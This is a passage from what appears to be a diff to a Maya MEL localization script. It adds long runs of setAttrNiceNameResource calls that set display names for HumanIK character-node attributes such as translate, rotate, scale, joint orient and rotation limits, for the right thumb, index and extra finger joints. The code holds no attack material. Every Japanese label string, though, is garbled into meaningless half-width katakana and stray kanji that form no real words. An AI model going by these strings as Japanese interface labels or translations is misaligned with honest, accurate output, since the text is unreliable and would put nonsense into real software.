"ラハヨチヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Sz", "ラハヨチヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", "ラハヨチヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateAxis", "ラハヨチヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateAxisx", "ラハヨチヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateAxisy", "ラハヨチヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateAxisz", "ラハヨチヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4JointOrient", "ラハヨチヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4JointOrientx", "ラハヨチヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4JointOrienty", "ラハヨチヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4JointOrientz", "ラハヨチヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimit", "ラハヨチヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitx", "ラハヨチヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimity", "ラハヨチヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitz", "ラハヨチヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimit", "ラハヨチヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitx", "ラハヨチヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimity", "ラハヨチヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitz", "ラハヨチヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitEnablex", "ニモテラハヨチヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitEnabley", "ニモテラハヨチヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitEnablez", "ニモテラハヨチヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitEnablex", "ニモテラハヨチヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitEnabley", "ニモテラハヨチヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitEnablez", "ニモテラハヨチヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1", "モメハヨトエヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1T", "モメハヨトエヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Tx", "モメハヨトエヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Ty", "モメハヨトエヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Tz", "モメハヨトエヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1R", "モメハヨトエヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Rx", "モメハヨトエヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Ry", "モメハヨトエヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Rz", "モメハヨトエヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1S", "モメハヨトエヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Sx", "モメハヨトエヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Sy", "モメハヨトエヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Sz", "モメハヨトエヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", "モメハヨトエヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateAxis", "モメハヨトエヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateAxisx", "モメハヨトエヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateAxisy", "モメハヨトエヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateAxisz", "モメハヨトエヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1JointOrient", "モメハヨトエヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1JointOrientx", "モメハヨトエヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1JointOrienty", "モメハヨトエヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1JointOrientz", "モメハヨトエヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimit", "モメハヨトエヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitx", "モメハヨトエヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimity", "モメハヨトエヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitz", "モメハヨトエヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimit", "モメハヨトエヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitx", "モメハヨトエヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimity", "モメハヨトエヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitz", "モメハヨトエヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitEnablex", "ニモテモメハヨトエヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitEnabley", "ニモテモメハヨトエヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitEnablez", "ニモテモメハヨトエヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitEnablex", "ニモテモメハヨトエヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitEnabley", "ニモテモメハヨトエヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitEnablez", "ニモテモメハヨトエヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2", "モメハヨトエヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2T", "モメハヨトエヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Tx", "モメハヨトエヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Ty", "モメハヨトエヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Tz", "モメハヨトエヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2R", "モメハヨトエヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Rx", "モメハヨトエヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Ry", "モメハヨトエヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Rz", "モメハヨトエヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2S", "モメハヨトエヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Sx", "モメハヨトエヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Sy", "モメハヨトエヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Sz", "モメハヨトエヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", "モメハヨトエヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateAxis", "モメハヨトエヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateAxisx", "モメハヨトエヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateAxisy", "モメハヨトエヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateAxisz", "モメハヨトエヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2JointOrient", "モメハヨトエヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2JointOrientx", "モメハヨトエヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2JointOrienty", "モメハヨトエヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2JointOrientz", "モメハヨトエヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimit", "モメハヨトエヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitx", "モメハヨトエヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimity", "モメハヨトエヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitz", "モメハヨトエヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimit", "モメハヨトエヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitx", "モメハヨトエヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimity", "モメハヨトエヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitz", "モメハヨトエヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitEnablex", "ニモテモメハヨトエヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitEnabley", "ニモテモメハヨトエヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitEnablez", "ニモテモメハヨトエヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitEnablex", "ニモテモメハヨトエヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitEnabley", "ニモテモメハヨトエヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitEnablez", "ニモテモメハヨトエヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3", "モメハヨトエヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3T", "モメハヨトエヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Tx", "モメハヨトエヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Ty", "モメハヨトエヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Tz", "モメハヨトエヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3R", "モメハヨトエヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Rx", "モメハヨトエヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Ry", "モメハヨトエヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Rz", "モメハヨトエヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3S", "モメハヨトエヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Sx", "モメハヨトエヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Sy", "モメハヨトエヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Sz", "モメハヨトエヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", "モメハヨトエヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateAxis", "モメハヨトエヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateAxisx", "モメハヨトエヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateAxisy", "モメハヨトエヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateAxisz", "モメハヨトエヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3JointOrient", "モメハヨトエヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3JointOrientx", "モメハヨトエヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3JointOrienty", "モメハヨトエヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3JointOrientz", "モメハヨトエヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimit", "モメハヨトエヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitx", "モメハヨトエヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimity", "モメハヨトエヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitz", "モメハヨトエヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimit", "モメハヨトエヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitx", "モメハヨトエヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimity", "モメハヨトエヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitz", "モメハヨトエヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitEnablex", "ニモテモメハヨトエヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitEnabley", "ニモテモメハヨトエヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitEnablez", "ニモテモメハヨトエヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitEnablex", "ニモテモメハヨトエヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitEnabley", "ニモテモメハヨトエヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitEnablez", "ニモテモメハヨトエヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4", "モメハヨトエヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4T", "モメハヨトエヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Tx", "モメハヨトエヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Ty", "モメハヨトエヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Tz", "モメハヨトエヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4R", "モメハヨトエヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Rx", "モメハヨトエヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Ry", "モメハヨトエヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Rz", "モメハヨトエヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4S", "モメハヨトエヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Sx", "モメハヨトエヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Sy", "モメハヨトエヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Sz", "モメハヨトエヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", "モメハヨトエヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateAxis", "モメハヨトエヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateAxisx", "モメハヨトエヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateAxisy", "モメハヨトエヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateAxisz", "モメハヨトエヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4JointOrient", "モメハヨトエヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4JointOrientx", "モメハヨトエヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4JointOrienty", "モメハヨトエヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4JointOrientz", "モメハヨトエヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimit", "モメハヨトエヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitx", "モメハヨトエヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimity", "モメハヨトエヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitz", "モメハヨトエヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimit", "モメハヨトエヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitx", "モメハヨトエヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimity", "モメハヨトエヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitz", "モメハヨトエヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitEnablex", "ニモテモメハヨトエヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitEnabley", "ニモテモメハヨトエヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitEnablez", "ニモテモメハヨトエヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitEnablex", "ニモテモメハヨトエヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitEnabley", "ニモテモメハヨトエヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitEnablez", "ニモテモメハヨトエヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1", "モメハヨハウヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1T", "モメハヨハウヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Tx", "モメハヨハウヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Ty", "モメハヨハウヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Tz", "モメハヨハウヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1R", "モメハヨハウヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Rx", "モメハヨハウヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Ry", "モメハヨハウヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Rz", "モメハヨハウヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1S", "モメハヨハウヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Sx", "モメハヨハウヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Sy", "モメハヨハウヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Sz", "モメハヨハウヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", "モメハヨハウヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateAxis", "モメハヨハウヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateAxisx", "モメハヨハウヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateAxisy", "モメハヨハウヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateAxisz", "モメハヨハウヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1JointOrient", "モメハヨハウヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1JointOrientx", "モメハヨハウヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1JointOrienty", "モメハヨハウヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1JointOrientz", "モメハヨハウヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimit", "モメハヨハウヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitx", "モメハヨハウヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimity", "モメハヨハウヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitz", "モメハヨハウヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimit", "モメハヨハウヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitx", "モメハヨハウヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimity", "モメハヨハウヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitz", "モメハヨハウヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitEnablex", "ニモテモメハヨハウヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitEnabley", "ニモテモメハヨハウヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitEnablez", "ニモテモメハヨハウヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitEnablex", "ニモテモメハヨハウヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitEnabley", "ニモテモメハヨハウヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitEnablez", "ニモテモメハヨハウヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2", "モメハヨハウヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2T", "モメハヨハウヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Tx", "モメハヨハウヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Ty", "モメハヨハウヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Tz", "モメハヨハウヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2R", "モメハヨハウヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Rx", "モメハヨハウヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Ry", "モメハヨハウヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Rz", "モメハヨハウヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2S", "モメハヨハウヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Sx", "モメハヨハウヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Sy", "モメハヨハウヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Sz", "モメハヨハウヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", "モメハヨハウヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateAxis", "モメハヨハウヨク 2 ミラェヨ" ); 